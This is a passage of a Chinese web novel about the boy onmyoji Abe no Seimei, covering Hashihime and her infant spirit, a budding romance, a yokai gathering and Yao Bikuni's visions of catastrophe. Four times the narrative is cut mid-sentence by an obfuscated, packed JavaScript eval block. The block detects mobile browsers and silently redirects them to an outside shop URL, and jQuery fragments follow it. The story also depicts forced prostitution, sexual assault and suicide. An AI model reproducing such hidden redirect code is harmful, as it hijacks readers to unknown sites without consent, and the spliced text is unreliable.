不出所料,桥下水面中倒映出的不是他自己的倒影,而是一个满面哀怨的女人,头发长长,在水中铺展开,像是一团飘逸的水草。 那女人脸色乌青,但还能找到几分曾经美艳的影子,和晴明近日见到的鬼比起来,这一位显然可以算是风华绝代了。 “桥姬。”晴明叹了口气,说:“看到桥就想到了,果然是你。” 桥姬是投水而死的女人所化成的恶灵,在桥下盘绕不去,若是有男子走上了它的桥,它便会诱导男子从桥上跳下,如果走上桥的是女人,它则会现身,把那个女人拖进水中。 所以晴明才不准凉子上桥。 “为什么要欺负我的孩子?”桥姬怀里抱着那个浑身血红色的婴灵,动作温柔得好像是抱着稀世的珍宝一般。 晴明冷冷地一笑:“我倒是要问问你,抓了那么多小孩子,究竟是想做什么?” “做什么?”桥姬温柔地拍抚着怀里的婴灵,说出的话却冷冷的,反问道:“你以为我想做什么?我虽然害人性命,但还没到会对小孩子动手的地步。” 晴明没想到桥姬会这样坦诚,他反倒不知该说什么了。 “这孩子还没来得及看一眼人世就死去了,怨念难平,不肯成佛。”桥姬提到孩子,口吻立即就缓和了下来,它说:“最大的执念就是希望自己能和普通的孩子们一起玩,等他玩够了,也就肯走了。” “所以我才找了几个孩子陪他玩,原本他很快就可以成佛的。”桥姬脸上忽然现出怨恨之色,厉声道:“可是这都被你破坏了!” “如果只是婴灵贪玩,我也没必要多事。”晴明神色冷冷地:“但如果我不介入,你还打算控制那几个孩子多久?” 桥姬慢悠悠地从水中浮起来,湿淋淋地与晴明对视:“你知道的倒是不少啊,贺茂……不对,这是个假名字吧?不然刚刚我叫你的时候,你也不会毫无反应了。” “你究竟是什么人?”桥姬伸出手指,有一下没一下地撩拨着晴明,后者自然是不为所动。 “我是个阴阳师。”晴明后退一步与桥姬拉开距离,淡淡地说:“别想着从我这里套出我的真名了,这个时候如果把真名告诉你,那我岂不是自取灭亡?” “嘁,无聊。”桥姬缩回手,一圈圈绕着自己的头发:“你也还是个孩子呢,小阴阳师,还有那个小姑娘也一样。放心好了,我不会害孩子的性命的。” “不过另一个嘛……”桥姬往樱脸上瞟了一眼,忽然露出一个诡异的笑容:“如果她肯上我的桥的话,我可是很欢迎的。” 晴明闻言也笑了起来。 “如果你想拖她下水的话,我保证你会死得很惨。” 27.第二十七章:戾桥 在这世上,有些人靠出卖自己的体力生活,有些人靠出卖自己的头脑生活。 而另一些人,他们没有其他的谋生手段,于是只有出卖自己。 桥姬就是这样的人,她是个暗娼,时常站在桥头,等待着陌生的男人来找她搭话。 因她模样长得好,“生意”一向不错。 她陪过无数的男人做那些最亲密的事,曲意逢迎,心却是冷的。 她自小没了父母,但她不想死,所以她只能做这样的事来养活自己。 连她自己都感到自己恶心。 可是又有什么办法呢? 她是个女人啊,除了做这种事之外,还有其他的办法吗? 这不仅仅是她一个人的无奈,也是无数女人的。 她认识另一个与她境遇相似的女人,那女人名叫茧。 茧有一个常年缠绵病榻的母亲,为了治母亲的病,茧不得已也来做了暗娼。 她很同情茧,也羡慕茧至少还有个母亲,于是便常常拿自己的积蓄给茧买药。 她年纪越大,便越觉得自己家中冷清。 像茧那样,虽然生活窘迫,但至少日子还有个盼头,身边有个人陪着,总好过她这样一天天地挨日子。 她数着自己的积蓄,幻想着自己某一天能出了这火坑。 不奢望自己还能找到一个肯爱她的人,她只求自己可以不再做这种事便好。 后来有一天,她一早起来就头晕,看见什么都想吐。 她这才知道自己有了孩子,但她甚至连这孩子的父亲是谁都不知道。 她最开始自然是打算打掉这个孩子的,可是买了药放在眼前,她又犹豫了。 这不是她一直盼望的机会吗? 如果她把这个孩子生下来,不就有人陪着她了吗? 她数了数自己这些年的积蓄,大概足够她把这孩子养大了。 于是她不再去自己常去的桥头,安心在家里养胎。 有时候她感觉得到孩子在她腹中生长,这是一种很奇妙的感觉。 虽然这孩子出现的原因不是很光彩,但新生命总是最纯洁的,没有带上一丝世俗。 那些天里,她总是带着笑,想象着自己未来的生活。 女人总是富有想象力,而且总是很天真。 当她怀胎七八个月的时候,她渐渐感到起坐费力,便经常靠在床头小声对自己的肚子说话,好像腹中的孩子听得懂似的。 忽然她听见外面有人说话,声音很耳熟。 外面的女人畏畏缩缩地说:“大、大人,她就住在这儿,您答应给我的钱……” 紧接着是个男人粗哑的声音:“少不了你的。” 她直觉不妙,但身子不便,还没等她挣扎起来,一个面目可憎的男人已经闯了进来。 那男人似乎是有些特殊的癖好,像是特意来找孕妇的。 她躺在床上,心如死灰。 床头还放着她昨晚刚刚完工的小被子,那是她找来了最好的布料,又一针针在上面绣上了象征长寿的鹤与龟,可是那个孩子再也没有机会见到它了。 男人走了之后,她看着自己染在床上的血,想起了许多年之前,她的第一次。 当年她把自己高价卖给了一个老男人,她至今还记得那男人喷在她颈边的臭气。 她忽然笑了起来,越笑越凄厉,笑得眼泪从眼中流了出来。 带刚才那男人来的女人不是别人,正是她多年来一直不遗余力帮助的,茧! 她的孩子没有了,她要所有人为她的孩子偿命! 她从自己以前常去的那座桥上跳了下去,带着满腔的恨意。 于是她变成了桥姬,她恨着所有人,男人、女人,无论是谁经过她的桥,她都会杀死他们。 她已经疯了,她从一个委曲求全的弱女人变成了一个疯狂的恶鬼。 不过她从来不害孩子的性命,每个从她的桥上走过的孩子都让她想起自己曾经怀着爱意等待降生、却终究失去了的孩子。 她杀了无数的人,但她一直都没有见到茧。 唯独茧是她最想杀死的那个人。 她也不知道过了多久,最后她看到一个沧桑的女人,一步一叩头地上了桥。 她没在意,反正只要上了她的桥,都是会死的。 她出于好奇,听了听那老女人口中念叨的话。 老女人竟是茧! 茧是来赎罪的,当年她为了母亲的病,想尽了一切办法,后来听说有人出高价要找怀孕的女人, 茧一时鬼迷心窍,就把那人带到了桥姬面前。 茧在桥上跪着忏悔,桥姬躲在桥下听着,冷笑了一声。 她当年的真心,只值一笔赏钱。 茧说她听说桥姬投水之后一直很后悔,但她还要照顾母亲,不敢来赎罪,如今她母亲过世,她在这世上再没什么牵挂了。 桥姬没理会茧,茧自己主动从桥上跳了下去。 就像当年的桥姬一样,不过茧没有那样深的执念,她成不了恶灵。 茧为自己的行为赎了罪,她安了心,但也只是感动了自己。 桥姬还是不肯原谅茧,她的恨折磨着所有人,也折磨着自己。 渐渐地,附近的人都知道了桥姬的存在,他们为桥姬编造了无数传说,还把桥姬栖身的那座桥叫做“戾桥”。 这地方处在平安京外围,几乎没有阴阳师会来这里,于是桥姬便十年如一日地继续兴风作浪下去。 直到她见到了一个鬼婴。 那孩子是死在母亲腹中的孩子,天性单纯,唯一的心愿便是想与普通的孩子一起玩个痛快,但它即使混进孩子们中间,也屡屡遭人排挤,只因为它心智比不上人类的孩子。 人类总是有这种本能:他们喜欢把看起来与“正常人”不同的个体排除在人群之外。 桥姬看着那个婴灵笨拙地想要加入孩子们的游戏,却不断地遭人欺负,她想起了自己曾经期待过的那个孩子。 于是她迷惑住了那些孩子的心智,叫他们陪着婴灵一起玩,从那之后,她便一直观察着婴灵,每当它想找孩子们玩的时候,她便把那附近的孩子全部控制住。 桥姬希望这个婴灵最后可以满足它的心愿,这孩子从来没有害过人命,它应该成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559344|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛,应该得到新生。 婴灵最喜欢玩“笼中鸟”这个游戏,也许是因为那首童谣是唱给胎死腹中的孩子们的,但也许婴灵只是觉得“笼中鸟”好玩而已。 笼子缝,笼子缝。 笼子中的鸟儿,无时无刻都想要跑来。 就在那黎明前的夜晚,鹤与龟滑倒了。 背后面对你的, 是谁? 所谓的“笼中鸟”,就是指母亲腹中的孩子,而象征着祥瑞与长寿的仙鹤与龟滑倒,则是暗示孩子的逝去。 这实际上是一首很悲伤的歌啊。 听了桥姬的故事,晴明陷入了沉默。 他不是第一次面对这种问题了,但每一次都让他感到无力。 人与鬼一样,善恶哪里是简简单单就能评定的。 理智上,晴明知道他必须除去桥姬,但在情感上,他却又同情桥姬的遭遇。 有些人在见惯了生死之后会变得铁石心肠,但另一些人却会越来越温柔敏感。 晴明现在越来越能明白贺茂忠行为何对待妖鬼会是那种态度了。 鬼生于人心,而人心千面,根本不是他们所能轻易决断的。 “我帮你超度这孩子成佛吧。”最后晴明叹了口气,做了个决定。 桥姬满脸戒备,抱着婴灵往后退了一步。 她狐疑地问:“阴阳师会超度魂灵?” “我曾涉猎过一些佛道,虽然超度不了怨念深重的恶灵,但要超度一个孩子还算是绰绰有余。”晴明朝桥姬伸出手:“把孩子给我吧。” 桥姬犹犹豫豫地把婴灵递给了晴明,那熟睡着的孩子像是感觉到了什么,再次大哭起来。 晴明接过婴灵,手忽然一顿,他听到了婴灵尖细的声音,等晴明听清楚婴灵的话之后,晴明又是一叹,把婴灵重新还给了桥姬,说:“它刚刚对我说,它不肯走是为了你。” “实际上它的执念早就满足了,但它把你当成了它的母亲,它之所以迟迟不愿离开,是因为想和你在一起。” “你说什么?”桥姬愣住了,这是她万万没有想到的事情。 “它想做你的孩子,不好意思和你说,叫我转达给你。”晴明闭了闭眼,又说:“如果是它自己不愿成佛的话,别说是我,就连真正的高僧也没有任何办法。” “你这孩子怎么……”桥姬忽然哭了起来:“陪着我这种人做什么?” 婴灵笑了,伸出深红色的手臂替桥姬擦着眼泪。 这一对不是真正的母子,却又与真正的母子没有任何区别。 它们既是害人的恶鬼,也是迷失在世上终于找到彼此的可怜人。 晴明没打算去煞风景,但桥姬却先开了口。 她说,请晴明把她封印在桥下,因为她不能保证自己未来不再害人性命。 她不在乎世人的命,但她不想给自己的孩子做出一个害人的表率。 以前只有她一个人,自然是行动随心,但现在她有了孩子,便不能再恣意而为了。 晴明遂了她的愿,把她封印在了戾桥之下。 从此以后,再也不会有人死在这里了。 28.第二十八章:弱水三千 晴明发觉了异样。 他最近每到逢魔时分,总有一种想要化成狐形的冲动。 而且不止是他,最近附近的妖鬼似乎也比平常躁动许多。 而且平安京的阴气开始变得越来越重,这绝不是个好现象。 这就是星象所显示的、平安京的劫难? 晴明暗自忖度着,可是这又与卢屋道满有什么关系? 晴明毕竟还是个少年人,很容易沉不住气,若不是自知技不如人,他恐怕早就跑去找卢屋道满的麻烦了。 外出的贺茂父子还没有回来,不过这对晴明影响不大,他早就不是事事依赖长辈的孩子了,在离开平安京的三年当中,他已经习惯了自己做决断。 复仇向来不是一件可以急于求成的事。 所以晴明还在等。 这些天里,凉子时常过来找他,两人渐渐熟识了。 十四五岁正是少年心最容易萌动的时候,更何况两人都是第一次与同龄的异性相处,似乎相爱是自然而然的事情。 爱情常常始于好奇,而在晴明身上自然不缺少让普通人产生好奇的特质。 年少成名,天才阴阳师,却没有一丝傲气,总带着一股温柔清透的味道。 大概不会有女孩子不喜欢晴明吧。 凉子自然是很快就不知不觉陷了进去,而晴明也被凉子打乱了心绪。 与凉子相处的时候,晴明完全可以让自己紧绷的神经放松下来,不需要考虑妖与鬼,也不用为复仇的事情头疼。 只有和凉子在一起的时候,晴明才真正像是个十四五岁的少年,既不用故作那副少年老成的样子,也会为了不知怎样讨心上人欢心而烦恼。 在凉子面前,他不是天才阴阳师,而是少年安倍晴明。 某天,晴明与凉子出游的时候,半路上忽然下起了雨,两人只得匆匆忙忙找地方避雨,等躲到了一户人家的屋檐下,他们因为彼此的狼狈相而大笑了起来。 少年人的情愫引而不发,却总能从不相干的小事上面体现出来。 我就是这样喜欢你,即使是与你一起在暴雨中淋成落汤鸡,也只会觉得好笑而不是恼怒。 和心爱的人在一起,无论发生什么都是甘之如饴。 隔天,晴明便送给了凉子一只雪白色的、滚圆的晴天娃娃。 “好可爱啊!送给我的吗?”女孩子总是对可爱的事物没有任何抵抗力,凉子自然也不例外。 晴明微微一笑:“这是日和坊,我在上面附了咒,在咒印失效之前,只要你把它挂在屋檐下,天气就会晴朗起来。” 说着说着,晴明倒先不好意思起来,脸上有些发烧。 他掩饰地轻咳一声,移开目光看向了别处。 凉子看出了晴明的窘迫,故意拿着晴天娃娃调侃:“你是想叫我以后出来找你的时候,就把它挂起来,这样就不会像上次一样倒霉,也就可以和你一起在外面多呆一会儿?” “我,我不是那个意思。”晴明还是不太擅长应对女孩子,他结结巴巴地辩解道:“你平时想挂起来玩,当然也是可以的。” “谢谢你,晴明。”凉子珍惜地把晴天娃娃揣进怀里,笑道:“我会好好保存它的。” 晴明实在是一个很体贴温柔的人,不过有些事总是让凉子不太高兴,其中一件,就是樱的事情。 樱几乎从不离开晴明半步,就算樱是晴明的侍女,那这种相处方式也未免太亲密了些。 凉子听说过不少贵族会把家中的侍女当作情人对待,不过她很难想象这种事也会发生在晴明身上。 终于有一天凉子忍不住了,寻了个机会问晴明:“晴明,樱是你的……” 晴明却根本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568779|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见凉子的话,他正仰着脑袋望着天空。 “鵺……”晴明喃喃道:“为什么会出现在这儿?” “什么?”凉子顺着晴明的目光望去,她看到了一只怪模怪样的动物飞在空中。 因着距离太远,凉子看不清那只动物的确切模样,不过有一点是可以肯定的:那东西绝不是鸟。 “你现在赶快回家去躲起来。”晴明的脸色很凝重,他皱着眉头,从自己颈上解下一串勾玉递给凉子:“带上这个,危急之时可以救你一命。” “可是,到底发生了什么事啊?”凉子下意识接过勾玉,疑惑地问。 “是鵺。”晴明匆匆说了这一句,便抛下凉子,朝鵺的方向追去了。 而樱自然紧随其后。 “晴明……”凉子不知所措地站在原地,手里还攥着晴明给她的勾玉。 这就是第二件让凉子不高兴的事了。 无论晴明怎样在她面前收敛锋芒,但他终究是个阴阳师,行走阴阳之间,而晴明的世界,是凉子无论怎样都挤不进去的。 很多女孩都曾经梦想过自己的恋人是个无所不能的英雄,可是普通人和英雄之间存在着的鸿沟却不是只需要爱情便可以轻易填平的。 现实一直都是一个很无奈的话题。 晴明就像是天边一轮皎洁的月,他散发出的光辉吸引着人们接近,可他像月一样神秘,一样虚无缥缈。 凉子叹了口气,把勾玉戴在了自己脖子上,转身回了家。 而晴明最终没能追上那只鵺,也就无从得知它为什么会在光天化日之下出现在平安京。 鵺是一种长相很怪异的动物,面容似猴,身躯似虎,尾巴却像蛇,它不像鸟儿那样长着翅膀,却可以飞在空中。 而鵺的出现,通常意味着不详。 看来真的是灾难将近了。 29.第二十九章:妖鬼祭典 相传,妖鬼会在入夜之时显形,模仿着人类的形貌,大摇大摆地出现在街道上。 这是个人鬼共生的时代,阴阳两界的距离都被模糊,人与鬼之间,有时候只隔着一堵墙。 因此,每至黄昏,家家都门户紧闭,甚至没有人敢于朝窗外张望一眼。 月夜,安倍宅也早早陷入了沉寂,不过…… 一只白狐轻盈地从安倍宅的院墙翻了出来,落地的时候几乎没有发出一丝声响。 那狐狸通体雪白,没有一丝杂色,冰蓝色的狐眼在夜色中反射出月的幽光。 最奇异的是,那白狐身后竟拖曳着九条极长的尾巴! 九尾白狐,即使在妖怪中间,它们的存在也不过是个传说而已,几乎没有妖怪见过活生生的九尾狐。 而这只九尾狐…… 正是安倍宅年仅十五岁的主人,天才阴阳师,白狐之子,安倍晴明。 晴明很少化出完整的狐形,即使是他三年前混进百鬼夜行的队伍里玩闹的时候,他也仅仅只是变化出了自己的狐耳和尾巴。 他始终都还知道,自己是人类,不是恣意妄为的妖怪。 他一直坚持着这一点,从未跨过这个底线。但这一次,却不是他自己所控制得了的。 这种情况已经持续了一段时间了,晴明体内属于狐、属于妖怪的那一部分一直在挣扎着要挣脱晴明的束缚,起先晴明依靠着贺茂忠行教给他的阴阳术还可以压制住它,但是最近,他开始感到力不从心了。 起初晴明以为这是随着他年纪渐长,继承自他母亲葛叶的那一半血脉开始增强的缘故,但时间久了,他却觉出些不对来。 似乎是有什么东西在吸引着他,更确切地说,是在吸引着妖怪们,其中也包括半人半妖的安倍晴明。 为了查明到底发生了什么,晴明索性不再压制自己的本性,入夜便化作白狐,他避开家里的仆人,从自家的围墙翻了出去。 白狐低垂着九条几乎与身体一般长的尾巴,踮着脚尖一路小跑。 晴明忽然发现化作白狐也有好处,现在他可以毫不费力地看清楚周围的景物,就好像处在白日里一样。 他顺应着自己身体里那一半妖怪血脉的本能,径直朝某个方向跑去。 晴明很快察觉到,他距离“那个地方”越近,能感受到的阴气便越重,他身为人类的那一部分感到很不舒服,但作为妖的那一半却在欢呼雀跃,享受着浓郁的阴气。 晴明一直跑到了平安京的外围,靠近他先前封印桥姬的地方才停下脚步。 他迟疑了,原因无它,因为眼前的景象实在是太过于摄人了。 鬼,无数的鬼聚集在了这里,晴明叫得出名字的、叫不出名字的妖鬼全部出现在了这里,它们挤在一处,像是在举行某个极其盛大的祭典。 白狐的尾巴尖儿微微颤抖着,他不是没有见过这种景象,百鬼夜行那会儿,他所见到的妖鬼绝不比今天的少,但是这一次却让他感到莫名的战栗,妖的本能在不断催促他靠近那群鬼,但作为人类,晴明的直觉又在告诫他不要过去。 晴明犹犹豫豫地,踏前了一步。 他很想知道究竟是什么东西在吸引着这些妖鬼。 作为阴阳师,他有弄清楚这种事情的义务。 忽然,裂空的呼啸声从晴明背后传来,静谧的夜里听来格外清晰! 晴明几乎是本能地作出了反应,他身子一侧,避开背后的袭击,旋即扭头吐出了一团幽蓝色的狐火! 狐火烧毁了背后飞来的符咒,化作尘灰四下里飞散,晴明微微眯了眯狐眼,身体稍稍放松了些,他四周打量着,想找出用符咒的那个人。 方才那是下意识的反击,他直到烧掉了符咒之后才回想起来,那符咒上附着的灵力分明就是属于贺茂忠行的。 既然对方是贺茂忠行,那也没必要再提防了,九尾狐本就稀少,贺茂忠行断没有认不出晴明的道理。 那张符咒的作用不在于袭击他,而是在提醒他不要再接近那群妖鬼。 晴明想通了这一节,便调头走开了,他不紧不慢地往远离妖鬼的方向跑,边跑边四处张望。 那边妖鬼众多,贺茂忠行必然是设法隐匿了气息,否则一旦被妖鬼发现,即使是贺茂忠行恐怕也难以脱身。 而贺茂忠行若是想隐藏起来,以晴明目前的能力,他绝对没有找到贺茂忠行的可能。 所以晴明必须避开妖鬼,等着贺茂忠行现身找他。 果然,没过多久,贺茂保宪的身影就忽然在黑暗中显现了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571162|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “师兄!”晴明停下脚步。 白狐立起身子,白色的毛皮逐渐从它身上褪去,修长的狐尾摇了摇,随即也消失不见。 安倍晴明穿着一身月白色的狩衣,笑得眉眼弯弯,月光均匀洒在他身上,白得发亮。 “晴明。”贺茂保宪也笑了笑,说:“师傅还在那边盯着,叫我过来见你。” “那边到底是怎么回事?”晴明急切地问道。 “还不太清楚。”贺茂保宪摇摇头,说:“我和师傅连续盯了几天,只知道似乎是有人启动了一个阵法,是阵法吸引了妖鬼聚集,至于这件事是谁做的、目的是什么,这些还都一概不知。” “不过在这平安京之内,有这种本事的,除了师傅,恐怕就只有卢屋道满了。”贺茂保宪继续说:“不要怪师傅之前不把这件事告诉给你,这是我提出要瞒着你的。” “你毕竟是……”贺茂保宪迟疑了一下,改口道:“毕竟身份特殊,如果过于接近这里难免会受到影响,现在对方的目的不明,没必要叫你冒险。不过我和师傅都没想到,这阵法对你的影响竟真的这样大。” 晴明也没太在意,皱了皱眉头道:“前些天我看到有鵺出没,现在这里又聚集了这么多妖鬼,莫非平安京未来的灾难就与这些妖鬼有关?” “很难说。”贺茂保宪道:“师傅也很在意这个,如果真的是它们导致平安京发生动乱,那我们就不可能作壁上观了。” “目前为止,它们还只是聚集在这儿,并没有作祟害人,但这总归不是件好事,时间一久,谁也不知道会发生什么。” “的确是这样。”晴明望着妖鬼聚集的方向,眼中隐隐透出忧虑:“这么多妖鬼,若是一齐涌入平安京作乱,那就必然是生灵涂炭。” “正是这般说。”贺茂保宪点点头,想了想,又道:“这边的事你暂时不要插手了,有我和师傅在呢,没什么解决不了的。倒是你,这些天千万小心,别受了这儿的影响,不是每一次我和师傅都能及时发现你的。” “我知道了,多谢师兄。”晴明微微一笑,重新化作白狐,几个纵跃便远去了。 而贺茂保宪站在原地,目送晴明离去后,摸出了一张符咒,低声念了几句咒语,身形便融进了黑暗之中。 30.第三十章:八百比丘尼 自从晴明在戾桥附近看到了妖鬼聚集的景象之后,他便很少再出门了,他托仆人给凉子送去了不少绘有桔梗印的符咒,自己则终日闭门不出,不知在忙些什么。 凉子放心不下晴明,某天悄悄溜到了安倍府。 安倍家的宅院向来都整理得井井有条,庭院里种植着许多鲜艳的花卉,其中有不少是凉子叫不上名字来的。 这不是凉子第一次拜访晴明的住处,但这座院子每次都让她流连。 不过,随处可见的桔梗花混杂在名贵的植物中间,这让凉子感到稍稍有几分不协调。 凉子穿过宅院,满心欢喜地想着一会儿就能见到晴明。 不过…… 让她万万没有想到的是,晴明竟然正躺在抱厦里午睡,而且还躺在一个年轻美貌的尼姑膝头! “欸?!”凉子不意竟撞见这样一幕,顿时怔住了,不知自己是应该转身离开还是应该走过去。 那尼姑正抚弄着晴明的头发,听到凉子那一声惊呼便抬起头,随后微微一笑,打了个噤声的手势。 既然被发现了,凉子也不好再躲开,索性走过去,也坐到抱厦里,等着晴明醒来。 尼姑穿着一身黑色的僧衣,身边放着一把僧侣常用的薙刀,看向晴明的目光祥和且安静,但是不知为何,总是带着一丝倦厌似的味道。 晴明披散着头发,阖着眼眸躺在尼姑膝上,身上是件常服,没穿平日里常穿的、月白色的狩衣,也没了平时的锋芒,少见地显出几分宁静脆弱来。 这是凉子从未见过的、晴明的另一面。 或许是怕惊扰了晴明,尼姑一直没有开口说话,而凉子不知晴明与这尼姑的关系,也不好多问。 两人就这样沉默对坐,直到晴明悠悠醒转。 “晴明大人,您可看到了什么?”尼姑殷切地问着。 “还有些看不清楚。”晴明像是头痛地揉了揉眉心,:“下次再继续吧,我想,这种事对您来说也是很辛苦的。” “我倒是没有什么关系。”尼姑微笑道:“晴明大人您也知道,我这具身体……如果我真的为此而死,我想我也会很欣慰的。” 晴明摇了摇头,说:“我绝不会容许这种事情发生。”说着,他坐起身来,却像是体力不支似的,又一头栽回到了尼姑腿上。 “倒是我考虑得不周了,”尼姑柔声道:“堪透未来这种事情,不是任何人都能承受得住的,即使是您,也有些勉强吧?” “没什么。”晴明深深吸了口气,在尼姑的帮助下终于坐直了,这时他才注意到凉子也在,不由得惊诧道:“凉子——你什么时候来的?” “对不起,我是不是打扰到你们了?”凉子低声说。 她听到两人的对话,才意识到自己先前的想法有多龌龊,她竟然疑心晴明和这个尼姑的关系…… “没有的事。”晴明忙宽慰道,又转头冲着尼姑皱眉:“八百比丘尼,你明知道她来,怎么不早点告诉我。” 尼姑笑道:“我只管帮你占卜,可不理这些红尘俗事。” “最近……”凉子小声问:“是不是要有事情发生了?你好像一直在为某件事头疼。” “如果我也懂阴阳术就好了,至少可以帮你一些。” “可是我哪怕一想到妖怪都会害怕,我……” 晴明没说话,尼姑倒先打断了凉子的话:“小姑娘,你的感觉没有错,平安京确实即将有大难降临。我建议你,赶快回家去,最近不要再出门了。” 这尼姑虽然看起来不过十七八岁,说起话来却总是一股老气横秋的味道。 “八百比丘尼!你和她说这些……”晴明低声制止了尼姑。 “不然呢?你还打算一直瞒着她?到时候真的出了事,你来负责?”八百比丘尼冷冷地说。 晴明闭口不言,像是被八百比丘尼说服了。 过了一会儿,晴明才又开口道:“凉子,八百比丘尼说得对,你还是先回去吧,我之前给你的符咒一定要随身带着,平安京的确是不再太平了。” 凉子站起身,朝两人深施一礼:“是我一时考虑不周了,我这就回去,不会给二位添麻烦的。” 说完,凉子便转身走了,晴明望着凉子的背影默默不语。 “她好像生气了哦。”八百比丘尼笑道:“这小女孩儿多半是想和你一起分担这件事,你就这样把她推出去,真的好吗?” “她不该卷进这些事里,也不该跟着我担惊受怕。”晴明低声道:“我不想把占卜的事告诉她,也是因为这个。” “真温柔啊。”八百比丘尼掩口轻笑:“如果我能年轻个七百多岁,大概也会爱上你吧,晴明。” “别开玩笑了。”晴明有些窘迫,他转开了脸。 “不过……单方面的付出,这可不是爱啊。”八百比丘尼轻轻捻了捻手指,目光变得幽长深远,也不知是想起了谁:“说起来,你真的打算要和那小女孩在一起?你是白狐之子,寿命比人类要长得多,当她百年之后衰老故去,你又要怎么办呢?” 这一句话,点破了晴明一直极力回避的问题。 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590489|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴明生来便是妖怪那也罢了,偏偏他在人类之中长大,身边友人皆是寿命不过百年的人类。 看着自己身边熟识的人们一个个死去是一种什么样的感觉? 晴明不知道答案,他想象不出那是什么样的绝望。 但是他身边的这位自称“八百比丘尼”的女人明白,不仅明白,而且她亲身经历过这种事,成百上千次。 八百比丘尼,在这世上活了八百岁,一直保持着十八岁少女的模样。 晴明和八百比丘尼意外相识,彼此都知道对方埋藏最深的秘密。 两人都是不该存在于人世的怪物,自然格外投缘。 传说人鱼的肉可以让人长生不老,八百比丘尼幼时出于好奇,尝了一块人鱼肉做成的菜肴。 从此长生,成了个不老不死的怪物。 她曾嫁人生子,试图以一个普通女孩子的身份生活,但当她五六十岁时,面貌依然年轻。 她被村里的人们视为妖怪,驱逐她离开。 她在外漂泊了几年,终究不死心,悄悄溜回了自己曾经的家,想看看她的丈夫、她的子女。 可是昔人已老,她竟然已经认不出他们了。 长生,最大的悲哀莫过于此。 在那之后,她便出了家,守着青灯古佛,独自过了八百年,成为了八百比丘尼。 现在看着年轻的晴明,八百比丘尼好像看到了八百年前的自己,怀着一腔热情,想要融入人类的生活,想要一个正常的家庭,想要过寻常人的日子。 可是终究是太天真了。 白狐之子,怎么可能真正被人类接纳? 就算晴明的身份一直不会暴露,那等到十几年、几十年之后,身边人逐渐衰老,他却容颜不变, 等到那时候,任何人都能发现他的异常之处。 人类的本能就是排除“异常”啊。 只有与“正常人”一模一样的人才能在这个世界上生存下去。 可是谁又有界定“正常”与“异常”的资格呢? “我不知道。”晴明终于开了口,他慢慢地说:“如果真的有那一天,我不知道该怎么办。” “不过,如果要陪着她,此世到彼世,我想,我也是愿意的。” “真是深情啊。”八百比丘尼又笑了起来,摇了摇头道:“罢了,我出家人不管你们这些红尘俗事,我只管帮你占卜好了。” “真是多谢你帮忙。”晴明道:“我还真没有想到你也懂占卜。” “人活得久了,总会洞悉些什么的。” 31.第三十一章:月尽夜 月尽之夜,妖鬼肆虐。 它们狞笑着,纷纷从阴界现身,大摇大摆地闯进了平安京,扑向那些对灾难的发生一无所知的人们。 晴明茫然地站在妖鬼之中,望着昔日熟悉的平安京完全变了副模样。 他下意识地伸手入怀去摸符咒,但他的符咒打在妖鬼身上却径直穿了过去,根本造不成任何影响。 晴明这才想起来,这里是八百比丘尼展示给他的、平安京的未来。 八百比丘尼的占卜方式与他们的阴阳师的有本质上的不同,阴阳师只能依靠占星或是向神明祈求指点,但八百比丘尼却能让人直观地看到未来,甚至身临其境。 不过这种方法对八百比丘尼和接受占卜者的身体伤害都极大,因此八百比丘尼很少帮助人占卜。 实际上,八百比丘尼这一次会主动找到晴明门上,也是因为晴明半人半妖,对这类占卜的承受能力比常人强得多的缘故。 不过即使是这样,八百比丘尼呈现给晴明的未来依旧常常是模糊不清的。 毕竟,像洞悉未来这种违逆天道的事情,凭人力是极难做到的。 不过这一次,他们显然是成功了。 这就是平安京即将面临的灾难? 晴明眉头皱起,从妖鬼和人们的尸体中间穿过,缓缓走到了平安京外围,那座戾桥附近。 他先是看到了犬神巨大的尸体,血把它雪白色的皮毛染得殷红,喉间一道深深的刀痕,几乎砍下了它的整个脑袋。 